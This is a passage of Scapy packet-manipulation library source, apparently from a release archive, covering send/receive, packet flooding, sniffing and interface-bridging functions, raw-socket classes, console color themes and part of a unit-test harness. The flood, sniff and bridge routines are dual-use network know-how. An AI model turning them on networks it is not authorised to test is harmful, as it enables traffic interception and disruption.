the field _answered if (multi): for s,r in ans: if hasattr(s, '_answered'): del(s._answered) if verbose: print("\nReceived %i packets, got %i answers, remaining %i packets" % (nbrecv+len(ans), len(ans), notans)) return plist.SndRcvList(ans),plist.PacketList(remain,"Unanswered") def __gen_send(s, x, inter=0, loop=0, count=None, verbose=None, realtime=None, *args, **kargs): if type(x) is bytes: x = conf.raw_layer(load=x) if type(x) is str: x = conf.raw_layer(load=x.encode('ascii')) if not isinstance(x, Gen): x = SetGen(x) if verbose is None: verbose = conf.verb n = 0 if count is not None: loop = -count elif not loop: loop=-1 try: while loop: dt0 = None for p in x: if realtime: ct = time.time() if dt0: st = dt0+p.time-ct if st > 0: time.sleep(st) else: dt0 = ct-p.time s.send(p) n += 1 if verbose: os.write(1,b".") time.sleep(inter) if loop < 0: loop += 1 except KeyboardInterrupt: pass s.close() if verbose: print("\nSent %i packets." % n) @conf.commands.register def send(x, inter=0, loop=0, count=None, verbose=None, realtime=None, *args, **kargs): """Send packets at layer 3 send(packets, [inter=0], [loop=0], [verbose=conf.verb]) -> None""" __gen_send(conf.L3socket(*args, **kargs), x, inter=inter, loop=loop, count=count,verbose=verbose, realtime=realtime) @conf.commands.register def sendp(x, inter=0, loop=0, iface=None, iface_hint=None, count=None, verbose=None, realtime=None, *args, **kargs): """Send packets at layer 2 sendp(packets, [inter=0], [loop=0], [verbose=conf.verb]) -> None""" if iface is None and iface_hint is not None: iface = conf.route.route(iface_hint)[0] __gen_send(conf.L2socket(iface=iface, *args, **kargs), x, inter=inter, loop=loop, count=count, verbose=verbose, realtime=realtime) @conf.commands.register def sendpfast(x, pps=None, mbps=None, realtime=None, loop=0, file_cache=False, iface=None, verbose=True): """Send packets at layer 2 using tcpreplay for performance pps: packets per second mpbs: MBits per second realtime: use packet's timestamp, bending time with realtime value loop: number of times to process the packet list file_cache: cache packets in RAM instead of reading from disk at each iteration iface: output interface verbose: if False, discard tcpreplay output """ if iface is None: iface = conf.iface argv = [conf.prog.tcpreplay, "--intf1=%s" % iface ] if pps is not None: argv.append("--pps=%i" % pps) elif mbps is not None: argv.append("--mbps=%f" % mbps) elif realtime is not None: argv.append("--multiplier=%i" % realtime) else: argv.append("--topspeed") if not verbose: argv.append("-q") if loop: argv.append("--loop=%i" % loop) if file_cache: argv.append("--enable-file-cache") f = get_temp_file() argv.append(f) wrpcap(f, x) with open(os.devnull, "wb") as null: proc_output = null if not verbose else None try: subprocess.check_call(argv, stdout=proc_output, stderr=proc_output) except KeyboardInterrupt: log_interactive.info("Interrupted by user") except Exception as e: log_interactive.error("while trying to exec [%s]: %s" % (argv[0],e)) finally: os.unlink(f) @conf.commands.register def sr(x,filter=None, iface=None, nofilter=0, *args,**kargs): """Send and receive packets at layer 3 nofilter: put 1 to avoid use of bpf filters retry: if positive, how many times to resend unanswered packets if negative, how many times to retry when no more packets are answered timeout: how much time to wait after the last packet has been sent verbose: set verbosity level multi: whether to accept multiple answers for the same stimulus filter: provide a BPF filter iface: listen answers only on the given interface""" if not "timeout" in kargs: kargs["timeout"] = -1 s = conf.L3socket(filter=filter, iface=iface, nofilter=nofilter) a,b=sndrcv(s,x,*args,**kargs) s.close() return a,b @conf.commands.register def sr1(x,filter=None,iface=None, nofilter=0, *args,**kargs): """Send packets at layer 3 and return only the first answer nofilter: put 1 to avoid use of bpf filters retry: if positive, how many times to resend unanswered packets if negative, how many times to retry when no more packets are answered timeout: how much time to wait after the last packet has been sent verbose: set verbosity level multi: whether to accept multiple answers for the same stimulus filter: provide a BPF filter iface: listen answers only on the given interface""" if not "timeout" in kargs: kargs["timeout"] = -1 s=conf.L3socket(filter=filter, nofilter=nofilter, iface=iface) a,b=sndrcv(s,x,*args,**kargs) s.close() if len(a) > 0: return a[0][1] else: return None @conf.commands.register def srp(x,iface=None, iface_hint=None, filter=None, nofilter=0, type=ETH_P_ALL, *args,**kargs): """Send and receive packets at layer 2 nofilter: put 1 to avoid use of bpf filters retry: if positive, how many times to resend unanswered packets if negative, how many times to retry when no more packets are answered timeout: how much time to wait after the last packet has been sent verbose: set verbosity level multi: whether to accept multiple answers for the same stimulus filter: provide a BPF filter iface: work only on the given interface""" if not "timeout" in kargs: kargs["timeout"] = -1 if iface is None and iface_hint is not None: iface = conf.route.route(iface_hint)[0] s = conf.L2socket(iface=iface, filter=filter, nofilter=nofilter, type=type) a,b=sndrcv(s ,x,*args,**kargs) s.close() return a,b @conf.commands.register def srp1(*args,**kargs): """Send and receive packets at layer 2 and return only the first answer nofilter: put 1 to avoid use of bpf filters retry: if positive, how many times to resend unanswered packets if negative, how many times to retry when no more packets are answered timeout: how much time to wait after the last packet has been sent verbose: set verbosity level multi: whether to accept multiple answers for the same stimulus filter: provide a BPF filter iface: work only on the given interface""" if not "timeout" in kargs: kargs["timeout"] = -1 a,b=srp(*args,**kargs) if len(a) > 0: return a[0][1] else: return None def __sr_loop(srfunc, pkts, prn=lambda x:x[1].summary(), prnfail=lambda x:x.summary(), inter=1, timeout=None, count=None, verbose=None, store=1, *args, **kargs): n = 0 r = 0 ct = conf.color_theme if verbose is None: verbose = conf.verb parity = 0 ans=[] unans=[] if timeout is None: timeout = min(2*inter, 5) try: while 1: parity ^= 1 col = [ct.even,ct.odd][parity] if count is not None: if count == 0: break count -= 1 start = time.time() print("\rsend...\r", end = " ") res = srfunc(pkts, timeout=timeout, verbose=0, chainCC=1, *args, **kargs) n += len(res[0])+len(res[1]) r += len(res[0]) if verbose > 1 and prn and len(res[0]) > 0: msg = "RECV %i:" % len(res[0]) print( "\r"+ct.success(msg), end = " ") for p in res[0]: print(col(prn(p))) print(" "*len(msg), end = " ") if verbose > 1 and prnfail and len(res[1]) > 0: msg = "fail %i:" % len(res[1]) print("\r"+ct.fail(msg), end = " ") for p in res[1]: print(col(prnfail(p))) print(" "*len(msg), end = " ") if verbose > 1 and not (prn or prnfail): print("recv:%i fail:%i" % tuple(map(len, res[:2]))) if store: ans += res[0] unans += res[1] end=time.time() if end-start < inter: time.sleep(inter+start-end) except KeyboardInterrupt: pass if verbose and n>0: print(ct.normal("\nSent %i packets, received %i packets. %3.1f%% hits." % (n,r,100.0*r/n))) return plist.SndRcvList(ans),plist.PacketList(unans) @conf.commands.register def srloop(pkts, *args, **kargs): """Send a packet at layer 3 in loop and print the answer each time srloop(pkts, [prn], [inter], [count], ...) --> None""" return __sr_loop(sr, pkts, *args, **kargs) @conf.commands.register def srploop(pkts, *args, **kargs): """Send a packet at layer 2 in loop and print the answer each time srloop(pkts, [prn], [inter], [count], ...) --> None""" return __sr_loop(srp, pkts, *args, **kargs) #def sndrcvflood(pks, pkt, prn=lambda (s,r):r.summary(), chainCC=0, store=1, unique=0): def sndrcvflood(pks, pkt, prn=lambda a:a[1].summary(), chainCC=0, store=1, unique=0): if not isinstance(pkt, Gen): pkt = SetGen(pkt) tobesent = [p for p in pkt] received = plist.SndRcvList() seen = {} hsent={} for i in tobesent: h = i.hashret() if h in hsent: hsent[h].append(i) else: hsent[h] = [i] def send_in_loop(tobesent): while 1: for p in tobesent: yield p packets_to_send = send_in_loop(tobesent) ssock = rsock = pks.fileno() try: while 1: readyr,readys,_ = select([rsock],[ssock],[]) if ssock in readys: pks.send(next(packets_to_send)) if rsock in readyr: p = pks.recv(MTU) if p is None: continue h = p.hashret() if h in hsent: hlst = hsent[h] for i in hlst: if p.answers(i): res = prn((i,p)) if unique: if res in seen: continue seen[res] = None if res is not None: print(res) if store: received.append((i,p)) except KeyboardInterrupt: if chainCC: raise return received @conf.commands.register def srflood(x,filter=None, iface=None, nofilter=None, *args,**kargs): """Flood and receive packets at layer 3 prn: function applied to packets received. Ret val is printed if not None store: if 1 (default), store answers and return them unique: only consider packets whose print nofilter: put 1 to avoid use of bpf filters filter: provide a BPF filter iface: listen answers only on the given interface""" s = conf.L3socket(filter=filter, iface=iface, nofilter=nofilter) r=sndrcvflood(s,x,*args,**kargs) s.close() return r @conf.commands.register def srpflood(x,filter=None, iface=None, iface_hint=None, nofilter=None, *args,**kargs): """Flood and receive packets at layer 2 prn: function applied to packets received. Ret val is printed if not None store: if 1 (default), store answers and return them unique: only consider packets whose print nofilter: put 1 to avoid use of bpf filters filter: provide a BPF filter iface: listen answers only on the given interface""" if iface is None and iface_hint is not None: iface = conf.route.route(iface_hint)[0] s = conf.L2socket(filter=filter, iface=iface, nofilter=nofilter) r=sndrcvflood(s,x,*args,**kargs) s.close() return r @conf.commands.register def sniff(count=0, store=1, offline=None, prn = None, lfilter=None, L2socket=None, timeout=None, opened_socket=None, stop_filter=None, exceptions=False, stop_callback=None, *arg, **karg): """Sniff packets sniff([count=0,] [prn=None,] [store=1,] [offline=None,] [lfilter=None,] + L2ListenSocket args) -> list of packets count: number of packets to capture. 0 means infinity store: wether to store sniffed packets or discard them prn: function to apply to each packet. If something is returned, it is displayed. Ex: ex: prn = lambda x: x.summary() lfilter: python function applied to each packet to determine if further action may be done ex: lfilter = lambda x: x.haslayer(Padding) offline: pcap file to read packets from, instead of sniffing them timeout: stop sniffing after a given time (default: None) L2socket: use the provided L2socket opened_socket: provide an object ready to use .recv() on stop_filter: python function applied to each packet to determine if we have to stop the capture after this packet ex: stop_filter = lambda x: x.haslayer(TCP) exceptions: reraise caught exceptions such as KeyboardInterrupt when a user interrupts sniffing stop_callback: Call every loop to determine if we need to stop the capture """ c = 0 if opened_socket is not None: s = opened_socket else: if offline is None: if L2socket is None: L2socket = conf.L2listen s = L2socket(type=ETH_P_ALL, *arg, **karg) else: s = PcapReader(offline) lst = [] if timeout is not None: stoptime = time.time()+timeout remain = None try: while 1: if timeout is not None: remain = stoptime-time.time() if remain <= 0: break if stop_callback and stop_callback(): break sel = select([s],[],[],remain) if s in sel[0]: p = s.recv(MTU) if p is None: break if lfilter and not lfilter(p): continue if store: lst.append(p) c += 1 if prn: r = prn(p) if r is not None: print(r) if stop_filter and stop_filter(p): break if count > 0 and c >= count: break except KeyboardInterrupt: if exceptions: raise else: pass finally: if opened_socket is None: s.close() return plist.PacketList(lst,"Sniffed") @conf.commands.register def bridge_and_sniff(if1, if2, count=0, store=1, offline=None, prn = None, lfilter=None, L2socket=None, timeout=None, stop_filter=None, stop_callback=None, *args, **kargs): """Forward traffic between two interfaces and sniff packets exchanged bridge_and_sniff([count=0,] [prn=None,] [store=1,] [offline=None,] [lfilter=None,] + L2Socket args) -> list of packets count: number of packets to capture. 0 means infinity store: wether to store sniffed packets or discard them prn: function to apply to each packet. If something is returned, it is displayed. Ex: ex: prn = lambda x: x.summary() lfilter: python function applied to each packet to determine if further action may be done ex: lfilter = lambda x: x.haslayer(Padding) timeout: stop sniffing after a given time (default: None) L2socket: use the provided L2socket stop_filter: python function applied to each packet to determine if we have to stop the capture after this packet ex: stop_filter = lambda x: x.haslayer(TCP) stop_callback: Call every loop to determine if we need to stop the capture """ c = 0 if L2socket is None: L2socket = conf.L2socket s1 = L2socket(iface=if1) s2 = L2socket(iface=if2) peerof={s1:s2,s2:s1} label={s1:if1, s2:if2} lst = [] if timeout is not None: stoptime = time.time()+timeout remain = None try: while True: if timeout is not None: remain = stoptime-time.time() if remain <= 0: break if stop_callback and stop_callback(): break ins,outs,errs = select([s1,s2],[],[], remain) for s in ins: p = s.recv() if p is not None: peerof[s].send(p.original) if lfilter and not lfilter(p): continue if store: p.sniffed_on = label[s] lst.append(p) c += 1 if prn: r = prn(p) if r is not None: print("%s: %s" % (label[s],r)) if stop_filter and stop_filter(p): break if count > 0 and c >= count: break except KeyboardInterrupt: pass finally: return plist.PacketList(lst,"Sniffed") @conf.commands.register def tshark(*args,**kargs): """Sniff packets and print them calling pkt.show(), a bit like text wireshark""" sniff(prn=lambda x: x.display(),*args,**kargs) scapy-0.23/scapy/supersocket.py000066400000000000000000000106651320561231000166160ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ SuperSocket. """ import socket,time from .config import conf from .data import * from scapy.error import warning, log_runtime class _SuperSocket_metaclass(type): def __repr__(self): if self.desc is not None: return "<%s: %s>" % (self.__name__,self.desc) else: return "<%s>" % self.__name__ class SuperSocket(metaclass = _SuperSocket_metaclass): desc = None closed=0 def __init__(self, family=socket.AF_INET,type=socket.SOCK_STREAM, proto=0): self.ins = socket.socket(family, type, proto) self.outs = self.ins self.promisc=None def send(self, x): sx = bytes(x) if hasattr(x, "sent_time"): x.sent_time = time.time() return self.outs.send(sx) def recv(self, x=MTU): return conf.raw_layer(self.ins.recv(x)) def fileno(self): return self.ins.fileno() def close(self): if self.closed: return self.closed=1 if self.ins != self.outs: if self.outs and self.outs.fileno() != -1: self.outs.close() if self.ins and self.ins.fileno() != -1: self.ins.close() def sr(self, *args, **kargs): return sendrecv.sndrcv(self, *args, **kargs) def sr1(self, *args, **kargs): a,b = sendrecv.sndrcv(self, *args, **kargs) if len(a) > 0: return a[0][1] else: return None def sniff(self, *args, **kargs): return sendrecv.sniff(opened_socket=self, *args, **kargs) class L3RawSocket(SuperSocket): desc = "Layer 3 using Raw sockets (PF_INET/SOCK_RAW)" def __init__(self, type = ETH_P_IP, filter=None, iface=None, promisc=None, nofilter=0): self.outs = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) self.outs.setsockopt(socket.SOL_IP, socket.IP_HDRINCL, 1) self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type)) if iface is not None: self.ins.bind((iface, type)) def recv(self, x=MTU): pkt, sa_ll = self.ins.recvfrom(x) if sa_ll[2] == socket.PACKET_OUTGOING: return None if sa_ll[3] in conf.l2types: cls = conf.l2types[sa_ll[3]] lvl = 2 elif sa_ll[1] in conf.l3types: cls = conf.l3types[sa_ll[1]] lvl = 3 else: cls = conf.default_l2 warning("Unable to guess type (interface=%s protocol=%#x family=%i). Using %s" % (sa_ll[0],sa_ll[1],sa_ll[3],cls.name)) lvl = 3 try: pkt = cls(pkt) except KeyboardInterrupt: raise except: if conf.debug_dissector: raise pkt = conf.raw_layer(pkt) if lvl == 2: pkt = pkt.payload if pkt is not None: from .arch import get_last_packet_timestamp pkt.time = get_last_packet_timestamp(self.ins) return pkt def send(self, x): try: #sx = str(x) sx = bytes(x) x.sent_time = time.time() self.outs.sendto(sx,(x.dst,0)) except socket.error as msg: log_runtime.error(msg) class SimpleSocket(SuperSocket): desc = "wrapper arround a classic socket" def __init__(self, sock): self.ins = sock self.outs = sock class StreamSocket(SimpleSocket): desc = "transforms a stream socket into a layer 2" def __init__(self, sock, basecls=None): if basecls is None: basecls = conf.raw_layer SimpleSocket.__init__(self, sock) self.basecls = basecls def recv(self, x=MTU): pkt = self.ins.recv(x, socket.MSG_PEEK) x = len(pkt) if x == 0: raise socket.error((100,"Underlying stream socket tore down")) pkt = self.basecls(pkt) pad = pkt.getlayer(conf.padding_layer) if pad is not None and pad.underlayer is not None: del(pad.underlayer.payload) while pad is not None and not isinstance(pad, NoPayload): x -= len(pad.load) pad = pad.payload self.ins.recv(x) return pkt if conf.L3socket is None: conf.L3socket = L3RawSocket import scapy.sendrecv scapy-0.23/scapy/themes.py000066400000000000000000000240741320561231000155330ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Color themes for the interactive console. """ ################## ## Color themes ## ################## class Color: normal = "\033[0m" black = "\033[30m" red = "\033[31m" green = "\033[32m" yellow = "\033[33m" blue = "\033[34m" purple = "\033[35m" cyan = "\033[36m" grey = "\033[37m" bold = "\033[1m" uline = "\033[4m" blink = "\033[5m" invert = "\033[7m" def create_styler(fmt=None, before="", after="", fmt2="%s"): def do_style(val, fmt=fmt, before=before, after=after, fmt2=fmt2): if fmt is None: if type(val) is not str: val = str(val) else: val = fmt % val return fmt2 % (before+val+after) return do_style class ColorTheme: def __repr__(self): return "<%s>" % self.__class__.__name__ def __getattr__(self, attr): return create_styler() class NoTheme(ColorTheme): pass class AnsiColorTheme(ColorTheme): def __getattr__(self, attr): if attr.startswith("__"): raise AttributeError(attr) s = "style_%s" % attr if s in self.__class__.__dict__: before = getattr(self, s) after = self.style_normal else: before = after = "" return create_styler(before=before, after=after) style_normal = "" style_prompt = "" style_punct = "" style_id = "" style_not_printable = "" style_layer_name = "" style_field_name = "" style_field_value = "" style_emph_field_name = "" style_emph_field_value = "" style_packetlist_name = "" style_packetlist_proto = "" style_packetlist_value = "" style_fail = "" style_success = "" style_odd = "" style_even = "" style_opening = "" style_active = "" style_closed = "" style_left = "" style_right = "" class BlackAndWhite(AnsiColorTheme): pass class DefaultTheme(AnsiColorTheme): style_normal = Color.normal style_prompt = Color.blue+Color.bold style_punct = Color.normal style_id = Color.blue+Color.bold style_not_printable = Color.grey style_layer_name = Color.red+Color.bold style_field_name = Color.blue style_field_value = Color.purple style_emph_field_name = Color.blue+Color.uline+Color.bold style_emph_field_value = Color.purple+Color.uline+Color.bold style_packetlist_name = Color.red+Color.bold style_packetlist_proto = Color.blue style_packetlist_value = Color.purple style_fail = Color.red+Color.bold style_success = Color.blue+Color.bold style_even = Color.black+Color.bold style_odd = Color.black style_opening = Color.yellow style_active = Color.black style_closed = Color.grey style_left = Color.blue+Color.invert style_right = Color.red+Color.invert class BrightTheme(AnsiColorTheme): style_normal = Color.normal style_punct = Color.normal style_id = Color.yellow+Color.bold style_layer_name = Color.red+Color.bold style_field_name = Color.yellow+Color.bold style_field_value = Color.purple+Color.bold style_emph_field_name = Color.yellow+Color.bold style_emph_field_value = Color.green+Color.bold style_packetlist_name = Color.red+Color.bold style_packetlist_proto = Color.yellow+Color.bold style_packetlist_value = Color.purple+Color.bold style_fail = Color.red+Color.bold style_success = Color.blue+Color.bold style_even = Color.black+Color.bold style_odd = Color.black style_left = Color.cyan+Color.invert style_right = Color.purple+Color.invert class RastaTheme(AnsiColorTheme): style_normal = Color.normal+Color.green+Color.bold style_prompt = Color.yellow+Color.bold style_punct = Color.red style_id = Color.green+Color.bold style_not_printable = Color.green style_layer_name = Color.red+Color.bold style_field_name = Color.yellow+Color.bold style_field_value = Color.green+Color.bold style_emph_field_name = Color.green style_emph_field_value = Color.green style_packetlist_name = Color.red+Color.bold style_packetlist_proto = Color.yellow+Color.bold style_packetlist_value = Color.green+Color.bold style_fail = Color.red style_success = Color.red+Color.bold style_even = Color.yellow style_odd = Color.green style_left = Color.yellow+Color.invert style_right = Color.red+Color.invert class ColorOnBlackTheme(AnsiColorTheme): """Color theme for black backgrounds""" style_normal = Color.normal style_prompt = Color.green+Color.bold style_punct = Color.normal style_id = Color.green style_not_printable = Color.black+Color.bold style_layer_name = Color.yellow+Color.bold style_field_name = Color.cyan style_field_value = Color.purple+Color.bold style_emph_field_name = Color.cyan+Color.bold style_emph_field_value = Color.red+Color.bold style_packetlist_name = Color.black+Color.bold style_packetlist_proto = Color.yellow+Color.bold style_packetlist_value = Color.purple+Color.bold style_fail = Color.red+Color.bold style_success = Color.green style_even = Color.black+Color.bold style_odd = Color.grey style_opening = Color.yellow style_active = Color.grey+Color.bold style_closed = Color.black+Color.bold style_left = Color.cyan+Color.bold style_right = Color.red+Color.bold class FormatTheme(ColorTheme): def __getattr__(self, attr): if attr.startswith("__"): raise AttributeError(attr) colfmt = self.__class__.__dict__.get("style_%s" % attr, "%s") return create_styler(fmt2 = colfmt) class LatexTheme(FormatTheme): style_prompt = r"\textcolor{blue}{%s}" style_not_printable = r"\textcolor{gray}{%s}" style_layer_name = r"\textcolor{red}{\bf %s}" style_field_name = r"\textcolor{blue}{%s}" style_field_value = r"\textcolor{purple}{%s}" style_emph_field_name = r"\textcolor{blue}{\underline{%s}}" #ul style_emph_field_value = r"\textcolor{purple}{\underline{%s}}" #ul style_packetlist_name = r"\textcolor{red}{\bf %s}" style_packetlist_proto = r"\textcolor{blue}{%s}" style_packetlist_value = r"\textcolor{purple}{%s}" style_fail = r"\textcolor{red}{\bf %s}" style_success = r"\textcolor{blue}{\bf %s}" style_left = r"\textcolor{blue}{%s}" style_right = r"\textcolor{red}{%s}" # style_even = r"}{\bf " # style_odd = "" class LatexTheme2(FormatTheme): style_prompt = r"@`@textcolor@[@blue@]@@[@%s@]@" style_not_printable = r"@`@textcolor@[@gray@]@@[@%s@]@" style_layer_name = r"@`@textcolor@[@red@]@@[@@`@bfseries@[@@]@%s@]@" style_field_name = r"@`@textcolor@[@blue@]@@[@%s@]@" style_field_value = r"@`@textcolor@[@purple@]@@[@%s@]@" style_emph_field_name = r"@`@textcolor@[@blue@]@@[@@`@underline@[@%s@]@@]@" style_emph_field_value = r"@`@textcolor@[@purple@]@@[@@`@underline@[@%s@]@@]@" style_packetlist_name = r"@`@textcolor@[@red@]@@[@@`@bfseries@[@@]@%s@]@" style_packetlist_proto = r"@`@textcolor@[@blue@]@@[@%s@]@" style_packetlist_value = r"@`@textcolor@[@purple@]@@[@%s@]@" style_fail = r"@`@textcolor@[@red@]@@[@@`@bfseries@[@@]@%s@]@" style_success = r"@`@textcolor@[@blue@]@@[@@`@bfserices@[@@]@%s@]@" style_even = r"@`@textcolor@[@gray@]@@[@@`@bfseries@[@@]@%s@]@" # style_odd = r"@`@textcolor@[@black@]@@[@@`@bfseries@[@@]@%s@]@" style_left = r"@`@textcolor@[@blue@]@@[@%s@]@" style_right = r"@`@textcolor@[@red@]@@[@%s@]@" class HTMLTheme(FormatTheme): style_prompt = "%s" style_not_printable = "%s" style_layer_name = "%s" style_field_name = "%s" style_field_value = "%s" style_emph_field_name = "%s" style_emph_field_value = "%s" style_packetlist_name = "%s" style_packetlist_proto = "%s" style_packetlist_value = "%s" style_fail = "%s" style_success = "%s" style_even = "%s" style_odd = "%s" style_left = "%s" style_right = "%s" class HTMLTheme2(HTMLTheme): style_prompt = "#[#span class=prompt#]#%s#[#/span#]#" style_not_printable = "#[#span class=not_printable#]#%s#[#/span#]#" style_layer_name = "#[#span class=layer_name#]#%s#[#/span#]#" style_field_name = "#[#span class=field_name#]#%s#[#/span#]#" style_field_value = "#[#span class=field_value#]#%s#[#/span#]#" style_emph_field_name = "#[#span class=emph_field_name#]#%s#[#/span#]#" style_emph_field_value = "#[#span class=emph_field_value#]#%s#[#/span#]#" style_packetlist_name = "#[#span class=packetlist_name#]#%s#[#/span#]#" style_packetlist_proto = "#[#span class=packetlist_proto#]#%s#[#/span#]#" style_packetlist_value = "#[#span class=packetlist_value#]#%s#[#/span#]#" style_fail = "#[#span class=fail#]#%s#[#/span#]#" style_success = "#[#span class=success#]#%s#[#/span#]#" style_even = "#[#span class=even#]#%s#[#/span#]#" style_odd = "#[#span class=odd#]#%s#[#/span#]#" style_left = "#[#span class=left#]#%s#[#/span#]#" style_right = "#[#span class=right#]#%s#[#/span#]#" class ColorPrompt: __prompt = ">>> " def __str__(self): try: ct = scapy.config.conf.color_theme if isinstance(ct, AnsiColorTheme): ## ^A and ^B delimit invisible caracters for readline to count right return "\001%s\002" % ct.prompt("\002"+scapy.config.conf.prompt+"\001") else: return ct.prompt(scapy.config.conf.prompt) except: return self.__prompt import scapy.config scapy-0.23/scapy/tools/000077500000000000000000000000001320561231000150255ustar00rootroot00000000000000scapy-0.23/scapy/tools/UTscapy.py000077500000000000000000000543161320561231000170030ustar00rootroot00000000000000## This file is part of Scapy ## See http://www.secdev.org/projects/scapy for more informations ## Copyright (C) Philippe Biondi ## This program is published under a GPLv2 license """ Unit testing infrastructure for Scapy """ import sys,getopt,imp import bz2, base64, os.path, time, traceback, zlib, hashlib #### Import tool #### def import_module(name): name = os.path.realpath(name) thepath = os.path.dirname(name) name = os.path.basename(name) if name.endswith(".py"): name = name[:-3] f,path,desc = imp.find_module(name,[thepath]) try: return imp.load_module(name, f, path, desc) finally: if f: f.close() #### INTERNAL/EXTERNAL FILE EMBEDDING #### class File: def __init__(self, name, URL, local): self.name = name self.local = local self.URL = URL def get_local(self): return bz2.decompress(base64.decodestring(self.local)) def get_URL(self): return URL def write(self, dir): if dir: dir += "/" open(dir+self.name,"w").write(self.get_local()) # Embed a base64 encoded bziped version of js and css files # to work if you can't reach Internet. class External_Files: UTscapy_js = File("UTscapy.js", "http://www.secdev.org/projects/UTscapy/UTscapy.js", """QlpoOTFBWSZTWWVijKQAAXxfgERUYOvAChIhBAC/79+qQAH8AFA0poANAMjQAAAG ABo0NGEZNBo00BhgAaNDRhGTQaNNAYFURJinplGaKbRkJiekzSenqmpA0Gm1LFMp RUklVQlK9WUTZYpNFI1IiEWEFT09Sfj5uO+qO6S5DQwKIxM92+Zku94wL6V/1KTK an2c66Ug6SmVKy1ZIrgauxMVLF5xLH0lJRQuKlqLF10iatlTzqvw7S9eS3+h4lu3 GZyMgoOude3NJ1pQy8eo+X96IYZw+ynehsiPj73m0rnvQ3QXZ9BJQiZQYQ5/uNcl 2WOlC5vyQqV/BWsnr2NZYLYXQLDs/Bffk4ZfR4/SH6GfA5Xlek4xHNHqbSsRbREO gueXo3kcYi94K6hSO3ldD2O/qJXOFqJ8o3TE2aQahxtQpCVUKQMvODHwu2YkaORY ZC6gihEallcHDIAtRPScBACAJnUggYhLDX6DEko7nC9GvAw5OcEkiyDUbLdiGCzD aXWMC2DuQ2Y6sGf6NcRuON7QSbhHsPc4KKmZ/xdyRThQkGVijKQ=""") UTscapy_css = File("UTscapy.css","http://www.secdev.org/projects/UTscapy/UTscapy.css", """QlpoOTFBWSZTWTbBCNEAAE7fgHxwSB//+Cpj2QC//9/6UAR+63dxbNzO3ccmtGEk pM0m1I9E/Qp6g9Q09TNQ9QDR6gMgAkiBFG9U9TEGRkGgABoABoBmpJkRAaAxD1AN Gh6gNADQBzAATJgATCYJhDAEYAEiQkwIyJk0n6qenpqeoaMUeo9RgIxp6pX78kfx Jx4MUhDHKEb2pJAYAelG1cybiZBBDipH8ocxNyHDAqTUxiQmIAEDE3ApIBUUECAT 7Lvlf4xA/sVK0QHkSlYtT0JmErdOjx1v5NONPYSjrIhQnbl1MbG5m+InMYmVAWJp uklD9cNdmQv2YigxbEtgUrsY2pDDV/qMT2SHnHsViu2rrp2LA01YJIHZqjYCGIQN sGNobFxAYHLqqMOj9TI2Y4GRpRCUGu82PnMnXUBgDSkTY4EfmygaqvUwbGMbPwyE 220Q4G+sDvw7+6in3CAOS634pcOEAdREUW+QqMjvWvECrGISo1piv3vqubTGOL1c ssrFnnSfU4T6KSCbPs98HJ2yjWN4i8Bk5WrM/JmELLNeZ4vgMkA4JVQInNnWTUTe gmMSlJd/b7JuRwiM5RUzXOBTa0e3spO/rsNJiylu0rCxygdRo2koXdSJzmUVjJUm BOFIkUKq8LrE+oT9h2qUqqUQ25fGV7e7OFkpmZopqUi0WeIBzlXdYY0Zz+WUJUTC RC+CIPFIYh1RkopswMAop6ZjuZKRqR0WNuV+rfuF5aCXPpxAm0F14tPyhf42zFMT GJUMxxowJnoauRq4xGQk+2lYFxbQ0FiC43WZSyYLHMuo5NTJ92QLAgs4FgOyZQqQ xpsGKMA0cIisNeiootpnlWQvkPzNGUTPg8jqkwTvqQLguZLKJudha1hqfBib1IfO LNChcU6OqF+3wyPKg5Y5oSbSJPAMcRDANwmS2i9oZm6vsD1pLkWtFGbAkEjjCuEU W1ev1IsF2UVmWYFtJkqLT708ApUBK/ig3rbJWSq7RGQd3sSrOKu3lyKzTBdkXK2a BGLV5dS1XURdKxaRkMplLLQxsimBYZEAa8KQkYyI+4EagMqycRR7RgwtZFxJSu0T 1q5wS2JG82iETHplbNj8DYo9IkmKzNAiw4FxK8bRfIYvwrbshbEagL11AQJFsqeZ WeXDoWEx2FMyyZRAB5QyCFnwYtwtWAQmmITY8aIM2SZyRnHH9Wi8+Sr2qyCscFYo vzM985aHXOHAxQN2UQZbQkUv3D4Vc+lyvalAffv3Tyg4ks3a22kPXiyeCGweviNX 0K8TKasyOhGsVamTUAZBXfQVw1zmdS4rHDnbHgtIjX3DcCt6UIr0BHTYjdV0JbPj r1APYgXihjQwM2M83AKIhwQQJv/F3JFOFCQNsEI0QA==""") def get_local_dict(cls): #return dict(map(lambda (x,y): (x, y.name), filter(lambda (x,y): isinstance(y, File), cls.__dict__.items()))) return dict(map(lambda a: (a[0], a[1].name), filter(lambda a: isinstance(a[1], File), cls.__dict__.items()))) get_local_dict = classmethod(get_local_dict) def get_URL_dict(cls): #return dict(map(lambda (x,y): (x, y.URL), filter(lambda (x,y): isinstance(y, File), cls.__dict__.items()))) return dict(map(lambda a: (a[0], a[1].URL), filter(lambda a: isinstance(a[1], File), cls.__dict__.items()))) get_URL_dict = classmethod(get_URL_dict) #### HELPER CLASSES FOR PARAMETRING OUTPUT FORMAT #### class EnumClass: def from_string(cls,x): return cls.__dict__[x.upper()] from_string = classmethod(from_string) class Format(EnumClass): TEXT = 1 ANSI = 2 HTML = 3 LATEX = 4 XUNIT = 5 #### TEST CLASSES #### class TestClass: def __getitem__(self, item): return getattr(self, item) def add_keywords(self, kw): if kw is str: self.keywords.append(kw) else: self.keywords += kw class TestCampaign(TestClass): def __init__(self, title): self.title = title self.filename = None self.headcomments = "" self.campaign = [] self.keywords = [] self.crc = None self.sha = None self.preexec = None self.preexec_output = None def add_testset(self, testset): self.campaign.append(testset) def __iter__(self): return self.campaign.__iter__() def all_tests(self): for ts in self: for t in ts: yield t class TestSet(TestClass): def __init__(self, name): self.name = name self.set = [] self.comments = "" self.keywords = [] self.crc = None self.expand = 1 def add_test(self, test): self.set.append(test) def __iter__(self): return self.set.__iter__() class UnitTest(TestClass): def __init__(self, name): self.name = name self.test = "" self.comments = "" self.result = "" self.res = True # must be True at init to have a different truth value than None self.output = "" self.num = -1 self.keywords = [] self.crc = None self.expand = 1 def __bool__(self): return self.res #### PARSE CAMPAIGN #### def 